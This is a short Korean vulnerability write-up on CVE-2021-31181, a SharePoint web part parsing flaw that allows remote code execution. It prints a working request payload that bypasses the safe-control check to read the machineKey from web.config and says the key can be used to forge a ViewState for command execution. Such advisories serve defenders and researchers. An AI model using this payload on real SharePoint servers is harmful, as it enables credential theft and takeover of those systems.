[하루한줄] CVE-2021-31181: Microsoft SharePoint 원격 코드 실행 취약점

URL

CVE-2021-31181: MICROSOFT SHAREPOINT WEBPART INTERPRETATION CONFLICT REMOTE CODE EXECUTION VULNERABILITY

Target

  • 2021년 5월 11일 릴리스 이전 버전의 Microsoft SharePoint
    • Foundation 2013 Service Pack 1
    • Server 2019
    • Enterprise Server 2016

Explain

Microsoft SharePoint에서 인증된 사용자가 SharePoint의 웹 애플리케이션의 서비스 계정 context에서 임의 코드를 실행할 수 있는 취약점이 발견되어 5월에 패치되었습니다.

해당 취약점은 EditingPageParser.VerifyControlOnSafeList() 메소드에서 사용자 입력 값 검증 미흡으로 발생합니다. 이 메소드는 unsafe controls 리스트와 사용자의 입력 값을 비교하여 확인하며 web.config에 지정된 SafeControl에 의해 안전한 컨트롤이 없는 경우 예외를 발생시킵니다.

하지만 검사를 우회하는 방법이 존재합니다. EditingPageParser.ParseStringInternal()은 사용자 입력 값(dscXml)을 구문 분석하고 hashtable을 Register directive 정보로 채운 다음 서버 컨트롤을 나타내는 태그로 hashtable2를 채웁니다. 그 후 hashtable2의 각 요소에 대해 Type 객체를 생성하고 SafeControls의 allowed list와 비교하여 확인합니다. 하지만 Type을 확인할 수 없을 때 서버 컨트롤 태그가 무시됩니다. 이를 통해 WebPartPagesWebService.RenderWebPartForEdit 웹 API 메소드로 /_vti_bin/webPartPages.asmx 엔드포인트를 통해 접근할 수 있습니다. aspx를 입력 값으로 사용하여 EditPageParser.VerifyControlOnSafeList를 사용해 확인 후 unsafe element가 없으면 디자인 모드에서 마크업을 처리합니다. 이때 RenderWebPartForEdit의 request는 다음과 같습니다.

<%@ Register TagPrefix="WebPartPages" Namespace="Microsoft.SharePoint.WebPartPage" Assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" %> 
<%@Register TagPrefix="att" Namespace="System.Web.UI.WebControls " Assembly="System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a"%> 
<WebPartPages:XsltListFormWebPart id="id01" runat="server" ListDisplayName="Documents" WebId="{6e7040c8-0338-4448-914d-a7061e0fc347}"> 
  <DataSources> 
    <att:xmldatasource runat="server" id="XDS1" 
      XPath="/configuration/system.web/machineKey" 
      datafile="c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config" /> 
  </DataSources> 
  <xsl> 
      <xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">          
          <xsl:output method="xml" indent="yes"/> 
          <xsl:template match="/" > 
          <xsl:copy-of select="."/> 
          </xsl:template> 
      </xsl:stylesheet> 
  </xsl> 
</WebPartPages:XsltListFormWebPart>

따라서 web.config의 machinekey section을 사용하여 서버에서 ViewState가 deserialize 될 때 임의의 OS 명령을 실행하는 VIEWSTATE 파라미터를 생성할 수 있습니다.